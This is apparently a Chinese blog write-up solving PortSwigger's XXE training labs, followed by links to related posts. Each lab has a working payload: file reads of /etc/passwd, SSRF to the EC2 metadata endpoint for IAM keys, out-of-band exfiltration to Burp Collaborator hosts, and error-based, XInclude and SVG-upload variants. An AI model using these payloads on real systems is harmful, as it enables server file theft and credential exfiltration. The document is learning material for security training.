Portswigger web security academy:XML external entity (XXE) injection

1 - Exploiting XXE using external entities to retrieve files

  • 题目描述

    • Check stock功能点可能存在XXE
  • 要求

    • 读取/etc/passwd
  • 解题过程

    • 构造读取文件的exp

      • <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE xxe [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
        <stockCheck><productId>1&ext;</productId><storeId>1</storeId></stockCheck>

2 - Exploiting XXE to perform SSRF attacks

  • 题目描述

    • Check stock功能点可以XXE
    • 在169.254.169.254存在EC2元数据端点
  • 要求

    • 利用XXE进行SSRF,获取EC2中的IAM secret access key
  • 解题步骤

    • 构造exp

      • <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
        <stockCheck><productId>&xxe;</productId><storeId>1&xxe;</storeId></stockCheck>
      • 这里需要把实体放在productId中,因为该参数出错后会把输入的内容返回

      • 请求会返回目录,根据返回的目录逐层进入即可

3 - Blind XXE with out-of-band interaction

  • 题目描述

    • Check stock存在XXE
    • 但是没有返回
  • 要求

    • 实现OOB(Out-Of-Band 外带) XXE
  • 解题过程

    • 利用burp自带的Collaborator构造exp

    • <?xml version="1.0" encoding="UTF-8"?>
      <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://zrusv2avyq5v1n31ir5cestoefk58u.burpcollaborator.net/"> ]>
      <stockCheck><productId>&xxe;</productId><storeId>1&xxe;</storeId></stockCheck>

4 - Blind XXE with out-of-band interaction via XML parameter entities

  • 题目描述

    • Check stock存在XXE
    • 会阻止包含常规外部实体的请求
  • 要求

    • 实现OOB XXE
  • 解题过程

    • 从材料中得知,除了普通的外部实体,还有参数实体

    • 借助参数实体构造exp

      • <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE asd [ <!ENTITY % xxe SYSTEM "http://qwqj0tfm3ham6e8snia3jjyfj6pxdm.burpcollaborator.net"> %xxe; ]>
        <stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD

  • 题目描述

    • Check stock存在XXE
  • 要求

    • 获取/etc/hostname的内容
  • 解题步骤

    • 借助collaborator构造参数实体exp并上传到exploirt server

      • <!ENTITY % file SYSTEM "file:///etc/hostname">
        <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>">
        %eval;
        %exfiltrate;
      • 其中的&#x25是%的十六进制下的实体编码,用实体编码是为了防止报错

      • %eval会解码并执行<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>,即进行参数实体exfiltrate的定义声明

    • 构造xxe加载exp

      • <!DOCTYPE asd [<!ENTITY % ext SYSTEM "https://ac8f1f291f206d6880971508018f00ac.web-security-academy.net/exploit"> %ext;]
    • 在collaborator client查看请求,复制并提交hostname

6 - Exploiting blind XXE to retrieve data via error messages

  • 题目描述

    • Check stock存在XXE
    • exploit server可以放置恶意DTD
  • 要求

    • 通过报错信息获取/etc/passwd的内容
  • 解题步骤

    • 和上一题类似,先构造参数实体exp并上传到exploit server

      • <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;
    • 构造xxe加载exp

      • <!DOCTYPE asd [<!ENTITY % ext SYSTEM "https://ace71f7f1e8ca62780ce1c5f01dd00a4.web-security-academy.net/exploit"> %ext;]>

7 -Exploiting XXE to retrieve data by repurposing a local DTD

  • 题目描述

    • Check stock存在XXE
    • 主机存在DTD文件/usr/share/yelp/dtd/docbookx.dtd,且其中有一个实体叫做ISOamso
  • 要求

  • 解题步骤

    • 材料已经写的很详细了,直接构造exp

      • <!DOCTYPE foo [
        <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
        <!ENTITY % ISOamso '
        <!ENTITY % file SYSTEM "file:///etc/passwd">
        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
        %eval;
        %error;
        '>
        %local_dtd;
        ]>
      • 这个exp解决了当主机无法加载外网DTD文件时如何进行报错XXE的问题

      • 巧妙之处在于,直接提交的XML:一个内部实体中不能包含另一个实体,但是通过加载并重定义本地DTD文件中的实体,可以解决这个问题

8 - Exploiting XInclude to retrieve files

  • 题目描述

    • Check stock存在XXE,用户输入会被嵌入服务端的XML中并随后被解析
  • 要求

    • 借助XInclude语句获取/etc/passwd文件内容
  • 解题步骤

    • 关于XInclude可以看看这篇文章

    • 简而言之,它的作用和php的include类似,把目标文件的内容包含进来

    • 构造exp

      • productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
        <xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

9 - Exploiting XXE via image file upload

  • 题目描述

    • 这个lab允许用户上传图片
    • 服务端使用Apache Batik library处理上传的图片
  • 要求

    • 通过XXE获取/etc/hostname的内容并提交
  • 解题步骤

    • 尝试构造exp

      • <?xml version="1.0" standalone="yes"?>
        <!DOCTYPE asd [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
        <svg><xxx>&xxe;</xxx></svg>
      • 报错500,然后尝试了很多其他格式和命名方式,都不行,去看了官方的solution。。。发现需要用svg的标准来写,因为最后内容会被转换为png

      • <?xml version="1.0" standalone="yes"?>
        <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
        <svg xmlns="http://www.w3.org/2000/svg" version="1.1">
        <text font-size="16" x="0" y="16">&xxe;</text>
        </svg>

Portswigger web security academy:XML external entity (XXE) injection的更多相关文章

  1. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  2. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  3. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  4. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  7. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  8. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  9. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. mysql内一些可以延时注入的查询语句

        一.sleep() 配合其他函数进行使用将十分方便,如下所示: 拆分讲解: select substr(database(),1,1) ; 截取当前数据库的第一位,转换为ascii码值: se ...

  2. freebsd root 登录 KDE SDDM

    sddm.conf 文件现在默认不会自动生成了.需要自己创建:ee /usr/local/etc/sddm.conf写入MinimumUid=0MaximumUid=00就是root用户.然后更改/u ...

  3. Mysql被黑客攻击了?一定要注意一点,不要关闭mysql服务

    因为mysql没有关闭的情况,可以从缓存里面获取到数据,如果关闭了只能从文件里面去获取数据了,会大大加大恢复难度

  4. 递归函数初步理解---python实现(汉诺塔问题)

    递归常被用来描述以自相似的方法重复事物的过程,在程序中指的是在函数定义中使用函数自身的方法. 递归是一个树结构,分为递推和回归的过程,当递推到达底部时,就会开始回归. 问题描述:A比B大两岁,B比C大 ...

  5. Linux入门视频笔记四(vim入门)

    一.vim的基本介绍(纯命令模式编辑器) 1.vim的两种模式:命令模式(不能输入任何东西).编辑模式(按i进入编辑模式) 2.ESC:从编辑模式退出到命令模式 3.保存: ①:wq code.c(如 ...

  6. P1049_装箱问题(JAVA语言)

    思路:动态规划的背包问题.使箱子剩余空间最小,也就是使箱内装的物品体积达到最大,我们可将物品的体积视为价值,然后按照01背包问题求解即可. //直接上模板 题目描述 有一个箱子容量为VV(正整数,0 ...

  7. 前端知识-CS-01

    一.选择器 通过什么方式来定位 1.sytle标签 style标签功能:写css样式的sytle标签的几种写法:1.可以在head里面添加一个style标签 2.在head标签中 通过link标签,引 ...

  8. JDK 16 正式发布,一次性发布 17 个新特性…不服不行!

    上一篇:Java 15 正式发布, 14 个新特性 JDK 16 正式发布 牛逼啊,JDK 15 刚发布半年(2020/09/15),JDK 16 又如期而至(2021/03/16),老铁们,跟上. ...

  9. arthas使用

    博客原地址:https://blog.csdn.net/u013076044/article/details/83626202 arthas使用 文章目录 准备 启动Demo 进入arthas控制台 ...

  10. 软工热身——回顾&展望

    项目 内容 这个作业属于哪个课程 2021春季软件工程 (罗杰 任健) 这个作业的要求在哪里 第一次阅读作业 我在这个课程的目标是 从实践中学习软件工程相关知识(结构化分析和设计方法.敏捷开发方法.软 ...